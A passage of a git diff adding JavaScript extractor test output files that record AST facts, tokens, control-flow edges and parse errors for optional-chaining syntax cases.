+hasLocation(#20026,#20027) +enclosingStmt(#20026,#20022) +exprContainers(#20026,#20001) +#20028=* +exprs(#20028,79,#20026,0,"a3") +#20029=@"loc,{#10000},5,1,5,2" +locations_default(#20029,#10000,5,1,5,2) +hasLocation(#20028,#20029) +enclosingStmt(#20028,#20022) +exprContainers(#20028,#20001) +literals("a3","a3",#20028) +#20030=@"var;{a3};{#20000}" +variables(#20030,"a3",#20000) +bind(#20028,#20030) +#20031=* +exprs(#20031,0,#20026,1,"b3") +#20032=@"loc,{#10000},5,5,5,6" +locations_default(#20032,#10000,5,5,5,6) +hasLocation(#20031,#20032) +enclosingStmt(#20031,#20022) +exprContainers(#20031,#20001) +literals("b3","b3",#20031) +isOptionalChaining(#20026) +#20033=* +stmts(#20033,2,#20001,3,"a4?.();") +#20034=@"loc,{#10000},7,1,7,7" +locations_default(#20034,#10000,7,1,7,7) +hasLocation(#20033,#20034) +stmtContainers(#20033,#20001) +#20035=* +exprs(#20035,13,#20033,0,"a4?.()") +#20036=@"loc,{#10000},7,1,7,6" +locations_default(#20036,#10000,7,1,7,6) +hasLocation(#20035,#20036) +enclosingStmt(#20035,#20033) +exprContainers(#20035,#20001) +#20037=* +exprs(#20037,79,#20035,-1,"a4") +#20038=@"loc,{#10000},7,1,7,2" +locations_default(#20038,#10000,7,1,7,2) +hasLocation(#20037,#20038) +enclosingStmt(#20037,#20033) +exprContainers(#20037,#20001) +literals("a4","a4",#20037) +#20039=@"var;{a4};{#20000}" +variables(#20039,"a4",#20000) +bind(#20037,#20039) +isOptionalChaining(#20035) +#20040=* +stmts(#20040,2,#20001,4,"o5?.3:2;") +#20041=@"loc,{#10000},9,1,9,8" +locations_default(#20041,#10000,9,1,9,8) +hasLocation(#20040,#20041) +stmtContainers(#20040,#20001) +#20042=* +exprs(#20042,11,#20040,0,"o5?.3:2") +#20043=@"loc,{#10000},9,1,9,7" +locations_default(#20043,#10000,9,1,9,7) +hasLocation(#20042,#20043) +enclosingStmt(#20042,#20040) +exprContainers(#20042,#20001) +#20044=* +exprs(#20044,79,#20042,0,"o5") +#20045=@"loc,{#10000},9,1,9,2" +locations_default(#20045,#10000,9,1,9,2) +hasLocation(#20044,#20045) +enclosingStmt(#20044,#20040) +exprContainers(#20044,#20001) +literals("o5","o5",#20044) +#20046=@"var;{o5};{#20000}" +variables(#20046,"o5",#20000) +bind(#20044,#20046) +#20047=* +exprs(#20047,3,#20042,1,".3") +#20048=@"loc,{#10000},9,4,9,5" +locations_default(#20048,#10000,9,4,9,5) +hasLocation(#20047,#20048) +enclosingStmt(#20047,#20040) +exprContainers(#20047,#20001) +literals("0.3",".3",#20047) +#20049=* +exprs(#20049,3,#20042,2,"2") +#20050=@"loc,{#10000},9,7,9,7" +locations_default(#20050,#10000,9,7,9,7) +hasLocation(#20049,#20050) +enclosingStmt(#20049,#20040) +exprContainers(#20049,#20001) +literals("2","2",#20049) +#20051=* +stmts(#20051,2,#20001,5,"a6?.b6[ ... y6).d6;") +#20052=@"loc,{#10000},11,1,11,23" +locations_default(#20052,#10000,11,1,11,23) +hasLocation(#20051,#20052) +stmtContainers(#20051,#20001) +#20053=* +exprs(#20053,14,#20051,0,"a6?.b6[ ... (y6).d6") +#20054=@"loc,{#10000},11,1,11,22" +locations_default(#20054,#10000,11,1,11,22) +hasLocation(#20053,#20054) +enclosingStmt(#20053,#20051) +exprContainers(#20053,#20001) +#20055=* +exprs(#20055,13,#20053,0,"a6?.b6[x6].c6?.(y6)") +#20056=@"loc,{#10000},11,1,11,19" +locations_default(#20056,#10000,11,1,11,19) +hasLocation(#20055,#20056) +enclosingStmt(#20055,#20051) +exprContainers(#20055,#20001) +#20057=* +exprs(#20057,14,#20055,-1,"a6?.b6[x6].c6") +#20058=@"loc,{#10000},11,1,11,13" +locations_default(#20058,#10000,11,1,11,13) +hasLocation(#20057,#20058) +enclosingStmt(#20057,#20051) +exprContainers(#20057,#20001) +#20059=* +exprs(#20059,15,#20057,0,"a6?.b6[x6]") +#20060=@"loc,{#10000},11,1,11,10" +locations_default(#20060,#10000,11,1,11,10) +hasLocation(#20059,#20060) +enclosingStmt(#20059,#20051) +exprContainers(#20059,#20001) +#20061=* +exprs(#20061,14,#20059,0,"a6?.b6") +#20062=@"loc,{#10000},11,1,11,6" +locations_default(#20062,#10000,11,1,11,6) +hasLocation(#20061,#20062) +enclosingStmt(#20061,#20051) +exprContainers(#20061,#20001) +#20063=* +exprs(#20063,79,#20061,0,"a6") +#20064=@"loc,{#10000},11,1,11,2" +locations_default(#20064,#10000,11,1,11,2) +hasLocation(#20063,#20064) +enclosingStmt(#20063,#20051) +exprContainers(#20063,#20001) +literals("a6","a6",#20063) +#20065=@"var;{a6};{#20000}" +variables(#20065,"a6",#20000) +bind(#20063,#20065) +#20066=* +exprs(#20066,0,#20061,1,"b6") +#20067=@"loc,{#10000},11,5,11,6" +locations_default(#20067,#10000,11,5,11,6) +hasLocation(#20066,#20067) +enclosingStmt(#20066,#20051) +exprContainers(#20066,#20001) +literals("b6","b6",#20066) +isOptionalChaining(#20061) +#20068=* +exprs(#20068,79,#20059,1,"x6") +#20069=@"loc,{#10000},11,8,11,9" +locations_default(#20069,#10000,11,8,11,9) +hasLocation(#20068,#20069) +enclosingStmt(#20068,#20051) +exprContainers(#20068,#20001) +literals("x6","x6",#20068) +#20070=@"var;{x6};{#20000}" +variables(#20070,"x6",#20000) +bind(#20068,#20070) +#20071=* +exprs(#20071,0,#20057,1,"c6") +#20072=@"loc,{#10000},11,12,11,13" +locations_default(#20072,#10000,11,12,11,13) +hasLocation(#20071,#20072) +enclosingStmt(#20071,#20051) +exprContainers(#20071,#20001) +literals("c6","c6",#20071) +#20073=* +exprs(#20073,79,#20055,0,"y6") +#20074=@"loc,{#10000},11,17,11,18" +locations_default(#20074,#10000,11,17,11,18) +hasLocation(#20073,#20074) +enclosingStmt(#20073,#20051) +exprContainers(#20073,#20001) +literals("y6","y6",#20073) +#20075=@"var;{y6};{#20000}" +variables(#20075,"y6",#20000) +bind(#20073,#20075) +isOptionalChaining(#20055) +#20076=* +exprs(#20076,0,#20053,1,"d6") +#20077=@"loc,{#10000},11,21,11,22" +locations_default(#20077,#10000,11,21,11,22) +hasLocation(#20076,#20077) +enclosingStmt(#20076,#20051) +exprContainers(#20076,#20001) +literals("d6","d6",#20076) +#20078=* +stmts(#20078,2,#20001,6,"delete a?.b") +#20079=@"loc,{#10000},13,1,13,11" +locations_default(#20079,#10000,13,1,13,11) +hasLocation(#20078,#20079) +stmtContainers(#20078,#20001) +#20080=* +exprs(#20080,22,#20078,0,"delete a?.b") +hasLocation(#20080,#20079) +enclosingStmt(#20080,#20078) +exprContainers(#20080,#20001) +#20081=* +exprs(#20081,14,#20080,0,"a?.b") +#20082=@"loc,{#10000},13,8,13,11" +locations_default(#20082,#10000,13,8,13,11) +hasLocation(#20081,#20082) +enclosingStmt(#20081,#20078) +exprContainers(#20081,#20001) +#20083=* +exprs(#20083,79,#20081,0,"a") +#20084=@"loc,{#10000},13,8,13,8" +locations_default(#20084,#10000,13,8,13,8) +hasLocation(#20083,#20084) +enclosingStmt(#20083,#20078) +exprContainers(#20083,#20001) +literals("a","a",#20083) +#20085=@"var;{a};{#20000}" +variables(#20085,"a",#20000) +bind(#20083,#20085) +#20086=* +exprs(#20086,0,#20081,1,"b") +#20087=@"loc,{#10000},13,11,13,11" +locations_default(#20087,#10000,13,11,13,11) +hasLocation(#20086,#20087) +enclosingStmt(#20086,#20078) +exprContainers(#20086,#20001) +literals("b","b",#20086) +isOptionalChaining(#20081) +#20088=* +lines(#20088,#20001,"a1?.b1;"," +") +hasLocation(#20088,#20004) +#20089=* +lines(#20089,#20001,""," +") +#20090=@"loc,{#10000},2,1,2,0" +locations_default(#20090,#10000,2,1,2,0) +hasLocation(#20089,#20090) +#20091=* +lines(#20091,#20001,"a2?.[x2];"," +") +hasLocation(#20091,#20013) +#20092=* +lines(#20092,#20001,""," +") +#20093=@"loc,{#10000},4,1,4,0" +locations_default(#20093,#10000,4,1,4,0) +hasLocation(#20092,#20093) +#20094=* +lines(#20094,#20001,"a3?.b3();"," +") +hasLocation(#20094,#20023) +#20095=* +lines(#20095,#20001,""," +") +#20096=@"loc,{#10000},6,1,6,0" +locations_default(#20096,#10000,6,1,6,0) +hasLocation(#20095,#20096) +#20097=* +lines(#20097,#20001,"a4?.();"," +") +hasLocation(#20097,#20034) +#20098=* +lines(#20098,#20001,""," +") +#20099=@"loc,{#10000},8,1,8,0" +locations_default(#20099,#10000,8,1,8,0) +hasLocation(#20098,#20099) +#20100=* +lines(#20100,#20001,"o5?.3:2;"," +") +hasLocation(#20100,#20041) +#20101=* +lines(#20101,#20001,""," +") +#20102=@"loc,{#10000},10,1,10,0" +locations_default(#20102,#10000,10,1,10,0) +hasLocation(#20101,#20102) +#20103=* +lines(#20103,#20001,"a6?.b6[x6].c6?.(y6).d6;"," +") +hasLocation(#20103,#20052) +#20104=* +lines(#20104,#20001,""," +") +#20105=@"loc,{#10000},12,1,12,0" +locations_default(#20105,#10000,12,1,12,0) +hasLocation(#20104,#20105) +#20106=* +lines(#20106,#20001,"delete a?.b","") +hasLocation(#20106,#20079) +numlines(#20001,13,7,0) +#20107=* +tokeninfo(#20107,6,#20001,0,"a1") +hasLocation(#20107,#20008) +#20108=* +tokeninfo(#20108,8,#20001,1,"?.") +#20109=@"loc,{#10000},1,3,1,4" +locations_default(#20109,#10000,1,3,1,4) +hasLocation(#20108,#20109) +#20110=* +tokeninfo(#20110,6,#20001,2,"b1") +hasLocation(#20110,#20011) +#20111=* +tokeninfo(#20111,8,#20001,3,";") +#20112=@"loc,{#10000},1,7,1,7" +locations_default(#20112,#10000,1,7,1,7) +hasLocation(#20111,#20112) +#20113=* +tokeninfo(#20113,6,#20001,4,"a2") +hasLocation(#20113,#20017) +#20114=* +tokeninfo(#20114,8,#20001,5,"?.") +#20115=@"loc,{#10000},3,3,3,4" +locations_default(#20115,#10000,3,3,3,4) +hasLocation(#20114,#20115) +#20116=* +tokeninfo(#20116,8,#20001,6,"[") +#20117=@"loc,{#10000},3,5,3,5" +locations_default(#20117,#10000,3,5,3,5) +hasLocation(#20116,#20117) +#20118=* +tokeninfo(#20118,6,#20001,7,"x2") +hasLocation(#20118,#20020) +#20119=* +tokeninfo(#20119,8,#20001,8,"]") +#20120=@"loc,{#10000},3,8,3,8" +locations_default(#20120,#10000,3,8,3,8) +hasLocation(#20119,#20120) +#20121=* +tokeninfo(#20121,8,#20001,9,";") +#20122=@"loc,{#10000},3,9,3,9" +locations_default(#20122,#10000,3,9,3,9) +hasLocation(#20121,#20122) +#20123=* +tokeninfo(#20123,6,#20001,10,"a3") +hasLocation(#20123,#20029) +#20124=* +tokeninfo(#20124,8,#20001,11,"?.") +#20125=@"loc,{#10000},5,3,5,4" +locations_default(#20125,#10000,5,3,5,4) +hasLocation(#20124,#20125) +#20126=* +tokeninfo(#20126,6,#20001,12,"b3") +hasLocation(#20126,#20032) +#20127=* +tokeninfo(#20127,8,#20001,13,"(") +#20128=@"loc,{#10000},5,7,5,7" +locations_default(#20128,#10000,5,7,5,7) +hasLocation(#20127,#20128) +#20129=* +tokeninfo(#20129,8,#20001,14,")") +#20130=@"loc,{#10000},5,8,5,8" +locations_default(#20130,#10000,5,8,5,8) +hasLocation(#20129,#20130) +#20131=* +tokeninfo(#20131,8,#20001,15,";") +#20132=@"loc,{#10000},5,9,5,9" +locations_default(#20132,#10000,5,9,5,9) +hasLocation(#20131,#20132) +#20133=* +tokeninfo(#20133,6,#20001,16,"a4") +hasLocation(#20133,#20038) +#20134=* +tokeninfo(#20134,8,#20001,17,"?.") +#20135=@"loc,{#10000},7,3,7,4" +locations_default(#20135,#10000,7,3,7,4) +hasLocation(#20134,#20135) +#20136=* +tokeninfo(#20136,8,#20001,18,"(") +#20137=@"loc,{#10000},7,5,7,5" +locations_default(#20137,#10000,7,5,7,5) +hasLocation(#20136,#20137) +#20138=* +tokeninfo(#20138,8,#20001,19,")") +#20139=@"loc,{#10000},7,6,7,6" +locations_default(#20139,#10000,7,6,7,6) +hasLocation(#20138,#20139) +#20140=* +tokeninfo(#20140,8,#20001,20,";") +#20141=@"loc,{#10000},7,7,7,7" +locations_default(#20141,#10000,7,7,7,7) +hasLocation(#20140,#20141) +#20142=* +tokeninfo(#20142,6,#20001,21,"o5") +hasLocation(#20142,#20045) +#20143=* +tokeninfo(#20143,8,#20001,22,"?") +#20144=@"loc,{#10000},9,3,9,3" +locations_default(#20144,#10000,9,3,9,3) +hasLocation(#20143,#20144) +#20145=* +tokeninfo(#20145,3,#20001,23,".3") +hasLocation(#20145,#20048) +#20146=* +tokeninfo(#20146,8,#20001,24,":") +#20147=@"loc,{#10000},9,6,9,6" +locations_default(#20147,#10000,9,6,9,6) +hasLocation(#20146,#20147) +#20148=* +tokeninfo(#20148,3,#20001,25,"2") +hasLocation(#20148,#20050) +#20149=* +tokeninfo(#20149,8,#20001,26,";") +#20150=@"loc,{#10000},9,8,9,8" +locations_default(#20150,#10000,9,8,9,8) +hasLocation(#20149,#20150) +#20151=* +tokeninfo(#20151,6,#20001,27,"a6") +hasLocation(#20151,#20064) +#20152=* +tokeninfo(#20152,8,#20001,28,"?.") +#20153=@"loc,{#10000},11,3,11,4" +locations_default(#20153,#10000,11,3,11,4) +hasLocation(#20152,#20153) +#20154=* +tokeninfo(#20154,6,#20001,29,"b6") +hasLocation(#20154,#20067) +#20155=* +tokeninfo(#20155,8,#20001,30,"[") +#20156=@"loc,{#10000},11,7,11,7" +locations_default(#20156,#10000,11,7,11,7) +hasLocation(#20155,#20156) +#20157=* +tokeninfo(#20157,6,#20001,31,"x6") +hasLocation(#20157,#20069) +#20158=* +tokeninfo(#20158,8,#20001,32,"]") +#20159=@"loc,{#10000},11,10,11,10" +locations_default(#20159,#10000,11,10,11,10) +hasLocation(#20158,#20159) +#20160=* +tokeninfo(#20160,8,#20001,33,".") +#20161=@"loc,{#10000},11,11,11,11" +locations_default(#20161,#10000,11,11,11,11) +hasLocation(#20160,#20161) +#20162=* +tokeninfo(#20162,6,#20001,34,"c6") +hasLocation(#20162,#20072) +#20163=* +tokeninfo(#20163,8,#20001,35,"?.") +#20164=@"loc,{#10000},11,14,11,15" +locations_default(#20164,#10000,11,14,11,15) +hasLocation(#20163,#20164) +#20165=* +tokeninfo(#20165,8,#20001,36,"(") +#20166=@"loc,{#10000},11,16,11,16" +locations_default(#20166,#10000,11,16,11,16) +hasLocation(#20165,#20166) +#20167=* +tokeninfo(#20167,6,#20001,37,"y6") +hasLocation(#20167,#20074) +#20168=* +tokeninfo(#20168,8,#20001,38,")") +#20169=@"loc,{#10000},11,19,11,19" +locations_default(#20169,#10000,11,19,11,19) +hasLocation(#20168,#20169) +#20170=* +tokeninfo(#20170,8,#20001,39,".") +#20171=@"loc,{#10000},11,20,11,20" +locations_default(#20171,#10000,11,20,11,20) +hasLocation(#20170,#20171) +#20172=* +tokeninfo(#20172,6,#20001,40,"d6") +hasLocation(#20172,#20077) +#20173=* +tokeninfo(#20173,8,#20001,41,";") +#20174=@"loc,{#10000},11,23,11,23" +locations_default(#20174,#10000,11,23,11,23) +hasLocation(#20173,#20174) +#20175=* +tokeninfo(#20175,7,#20001,42,"delete") +#20176=@"loc,{#10000},13,1,13,6" +locations_default(#20176,#10000,13,1,13,6) +hasLocation(#20175,#20176) +#20177=* +tokeninfo(#20177,6,#20001,43,"a") +hasLocation(#20177,#20084) +#20178=* +tokeninfo(#20178,8,#20001,44,"?.") +#20179=@"loc,{#10000},13,9,13,10" +locations_default(#20179,#10000,13,9,13,10) +hasLocation(#20178,#20179) +#20180=* +tokeninfo(#20180,6,#20001,45,"b") +hasLocation(#20180,#20087) +#20181=* +tokeninfo(#20181,0,#20001,46,"") +#20182=@"loc,{#10000},13,12,13,11" +locations_default(#20182,#10000,13,12,13,11) +hasLocation(#20181,#20182) +#20183=* +entry_cfg_node(#20183,#20001) +#20184=@"loc,{#10000},1,1,1,0" +locations_default(#20184,#10000,1,1,1,0) +hasLocation(#20183,#20184) +#20185=* +exit_cfg_node(#20185,#20001) +hasLocation(#20185,#20182) +successor(#20078,#20083) +successor(#20086,#20081) +successor(#20083,#20086) +successor(#20081,#20080) +successor(#20083,#20080) +successor(#20080,#20185) +successor(#20051,#20063) +successor(#20076,#20053) +successor(#20073,#20055) +successor(#20071,#20057) +successor(#20068,#20059) +successor(#20066,#20061) +successor(#20063,#20066) +successor(#20061,#20068) +successor(#20063,#20078) +successor(#20059,#20071) +successor(#20057,#20073) +successor(#20055,#20076) +successor(#20057,#20078) +successor(#20053,#20078) +successor(#20040,#20042) +successor(#20042,#20044) +#20186=* +guard_node(#20186,1,#20044) +hasLocation(#20186,#20045) +successor(#20186,#20047) +#20187=* +guard_node(#20187,0,#20044) +hasLocation(#20187,#20045) +successor(#20187,#20049) +successor(#20044,#20186) +successor(#20044,#20187) +successor(#20047,#20051) +successor(#20049,#20051) +successor(#20033,#20037) +successor(#20037,#20035) +successor(#20035,#20040) +successor(#20037,#20040) +successor(#20022,#20028) +successor(#20031,#20026) +successor(#20028,#20031) +successor(#20026,#20024) +successor(#20028,#20033) +successor(#20024,#20033) +successor(#20012,#20016) +successor(#20019,#20014) +successor(#20016,#20019) +successor(#20014,#20022) +successor(#20016,#20022) +successor(#20003,#20007) +successor(#20010,#20005) +successor(#20007,#20010) +successor(#20005,#20012) +successor(#20007,#20012) +successor(#20183,#20003) +numlines(#10000,13,7,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad1.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad1.js.trap new file mode 100644 index 00000000000..52d3ee0229d --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad1.js.trap @@ -0,0 +1,28 @@ +#10000=@"/optional-chaining_bad1.js;sourcefile" +files(#10000,"/optional-chaining_bad1.js","optional-chaining_bad1","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,1,1" +locations_default(#20002,#10000,1,1,1,1) +hasLocation(#20001,#20002) +#20003=* +jsParseErrors(#20003,#20001,"Error: Unexpected token","new a?.();") +#20004=@"loc,{#10000},1,8,1,8" +locations_default(#20004,#10000,1,8,1,8) +hasLocation(#20003,#20004) +#20005=* +lines(#20005,#20001,"new a?.();","") +#20006=@"loc,{#10000},1,1,1,10" +locations_default(#20006,#10000,1,1,1,10) +hasLocation(#20005,#20006) +numlines(#20001,1,0,0) +numlines(#10000,1,0,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad2.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad2.js.trap new file mode 100644 index 00000000000..81d26f56f26 --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad2.js.trap @@ -0,0 +1,26 @@ +#10000=@"/optional-chaining_bad2.js;sourcefile" +files(#10000,"/optional-chaining_bad2.js","optional-chaining_bad2","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,1,1" +locations_default(#20002,#10000,1,1,1,1) +hasLocation(#20001,#20002) +#20003=* +jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a tagged template expression.","a?.`{b}`;") +hasLocation(#20003,#20002) +#20004=* +lines(#20004,#20001,"a?.`{b}`;","") +#20005=@"loc,{#10000},1,1,1,9" +locations_default(#20005,#10000,1,1,1,9) +hasLocation(#20004,#20005) +numlines(#20001,1,0,0) +numlines(#10000,1,0,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad3.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad3.js.trap new file mode 100644 index 00000000000..e7c42643fce --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad3.js.trap @@ -0,0 +1,28 @@ +#10000=@"/optional-chaining_bad3.js;sourcefile" +files(#10000,"/optional-chaining_bad3.js","optional-chaining_bad3","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,1,1" +locations_default(#20002,#10000,1,1,1,1) +hasLocation(#20001,#20002) +#20003=* +jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a `new` expression.","new a?.b();") +#20004=@"loc,{#10000},1,5,1,5" +locations_default(#20004,#10000,1,5,1,5) +hasLocation(#20003,#20004) +#20005=* +lines(#20005,#20001,"new a?.b();","") +#20006=@"loc,{#10000},1,1,1,11" +locations_default(#20006,#10000,1,1,1,11) +hasLocation(#20005,#20006) +numlines(#20001,1,0,0) +numlines(#10000,1,0,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad4.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad4.js.trap new file mode 100644 index 00000000000..19386282c21 --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad4.js.trap @@ -0,0 +1,26 @@ +#10000=@"/optional-chaining_bad4.js;sourcefile" +files(#10000,"/optional-chaining_bad4.js","optional-chaining_bad4","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,1,1" +locations_default(#20002,#10000,1,1,1,1) +hasLocation(#20001,#20002) +#20003=* +jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a tagged template expression.","a?.b`{c}`;") +hasLocation(#20003,#20002) +#20004=* +lines(#20004,#20001,"a?.b`{c}`;","") +#20005=@"loc,{#10000},1,1,1,10" +locations_default(#20005,#10000,1,1,1,10) +hasLocation(#20004,#20005) +numlines(#20001,1,0,0) +numlines(#10000,1,0,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad5.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad5.js.trap new file mode 100644 index 00000000000..ceb1648c62b --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad5.js.trap @@ -0,0 +1,26 @@ +#10000=@"/optional-chaining_bad5.js;sourcefile" +files(#10000,"/optional-chaining_bad5.js","optional-chaining_bad5","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,1,1" +locations_default(#20002,#10000,1,1,1,1) +hasLocation(#20001,#20002) +#20003=* +jsParseErrors(#20003,#20001,"Error: Invalid left-hand side in assignment","a?.b = c;") +hasLocation(#20003,#20002) +#20004=* +lines(#20004,#20001,"a?.b = c;","") +#20005=@"loc,{#10000},1,1,1,9" +locations_default(#20005,#10000,1,1,1,9) +hasLocation(#20004,#20005) +numlines(#20001,1,0,0) +numlines(#10000,1,0,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad6.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad6.js.trap new file mode 100644 index 00000000000..f328b18d0c1 --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_bad6.js.trap @@ -0,0 +1,30 @@ +#10000=@"/optional-chaining_bad6.js;sourcefile" +files(#10000,"/optional-chaining_bad6.js","optional-chaining_bad6","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,1,1" +locations_default(#20002,#10000,1,1,1,1) +hasLocation(#20001,#20002) +#20003=* +jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a `new` expression.","new a.b?.c(); +") +#20004=@"loc,{#10000},1,5,1,5" +locations_default(#20004,#10000,1,5,1,5) +hasLocation(#20003,#20004) +#20005=* +lines(#20005,#20001,"new a.b?.c();"," +") +#20006=@"loc,{#10000},1,1,1,13" +locations_default(#20006,#10000,1,1,1,13) +hasLocation(#20005,#20006) +numlines(#20001,1,0,0) +numlines(#10000,1,0,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining_short-circuiting.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining_short-circuiting.js.trap new file mode 100644 index 00000000000..e39ceb7acd5 --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining_short-circuiting.js.trap @@ -0,0 +1,1707 @@ +#10000=@"/optional-chaining_short-circuiting.js;sourcefile" +files(#10000,"/optional-chaining_short-circuiting.js","optional-chaining_short-circuiting","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,30,0" +locations_default(#20002,#10000,1,1,30,0) +hasLocation(#20001,#20002) +#20003=* +stmts(#20003,2,#20001,0,"a?.b.c(++x).d;") +#20004=@"loc,{#10000},1,1,1,14" +locations_default(#20004,#10000,1,1,1,14) +hasLocation(#20003,#20004) +stmtContainers(#20003,#20001) +#20005=* +exprs(#20005,14,#20003,0,"a?.b.c(++x).d") +#20006=@"loc,{#10000},1,1,1,13" +locations_default(#20006,#10000,1,1,1,13) +hasLocation(#20005,#20006) +enclosingStmt(#20005,#20003) +exprContainers(#20005,#20001) +#20007=* +exprs(#20007,13,#20005,0,"a?.b.c(++x)") +#20008=@"loc,{#10000},1,1,1,11" +locations_default(#20008,#10000,1,1,1,11) +hasLocation(#20007,#20008) +enclosingStmt(#20007,#20003) +exprContainers(#20007,#20001) +#20009=* +exprs(#20009,14,#20007,-1,"a?.b.c") +#20010=@"loc,{#10000},1,1,1,6" +locations_default(#20010,#10000,1,1,1,6) +hasLocation(#20009,#20010) +enclosingStmt(#20009,#20003) +exprContainers(#20009,#20001) +#20011=* +exprs(#20011,14,#20009,0,"a?.b") +#20012=@"loc,{#10000},1,1,1,4" +locations_default(#20012,#10000,1,1,1,4) +hasLocation(#20011,#20012) +enclosingStmt(#20011,#20003) +exprContainers(#20011,#20001) +#20013=* +exprs(#20013,79,#20011,0,"a") +#20014=@"loc,{#10000},1,1,1,1" +locations_default(#20014,#10000,1,1,1,1) +hasLocation(#20013,#20014) +enclosingStmt(#20013,#20003) +exprContainers(#20013,#20001) +literals("a","a",#20013) +#20015=@"var;{a};{#20000}" +variables(#20015,"a",#20000) +bind(#20013,#20015) +#20016=* +exprs(#20016,0,#20011,1,"b") +#20017=@"loc,{#10000},1,4,1,4" +locations_default(#20017,#10000,1,4,1,4) +hasLocation(#20016,#20017) +enclosingStmt(#20016,#20003) +exprContainers(#20016,#20001) +literals("b","b",#20016) +isOptionalChaining(#20011) +#20018=* +exprs(#20018,0,#20009,1,"c") +#20019=@"loc,{#10000},1,6,1,6" +locations_default(#20019,#10000,1,6,1,6) +hasLocation(#20018,#20019) +enclosingStmt(#20018,#20003) +exprContainers(#20018,#20001) +literals("c","c",#20018) +#20020=* +exprs(#20020,59,#20007,0,"++x") +#20021=@"loc,{#10000},1,8,1,10" +locations_default(#20021,#10000,1,8,1,10) +hasLocation(#20020,#20021) +enclosingStmt(#20020,#20003) +exprContainers(#20020,#20001) +#20022=* +exprs(#20022,79,#20020,0,"x") +#20023=@"loc,{#10000},1,10,1,10" +locations_default(#20023,#10000,1,10,1,10) +hasLocation(#20022,#20023) +enclosingStmt(#20022,#20003) +exprContainers(#20022,#20001) +literals("x","x",#20022) +#20024=@"var;{x};{#20000}" +variables(#20024,"x",#20000) +bind(#20022,#20024) +#20025=* +exprs(#20025,0,#20005,1,"d") +#20026=@"loc,{#10000},1,13,1,13" +locations_default(#20026,#10000,1,13,1,13) +hasLocation(#20025,#20026) +enclosingStmt(#20025,#20003) +exprContainers(#20025,#20001) +literals("d","d",#20025) +#20027=* +stmts(#20027,2,#20001,1,"a?.b[3].c?.(x).d;") +#20028=@"loc,{#10000},3,1,3,17" +locations_default(#20028,#10000,3,1,3,17) +hasLocation(#20027,#20028) +stmtContainers(#20027,#20001) +#20029=* +exprs(#20029,14,#20027,0,"a?.b[3].c?.(x).d") +#20030=@"loc,{#10000},3,1,3,16" +locations_default(#20030,#10000,3,1,3,16) +hasLocation(#20029,#20030) 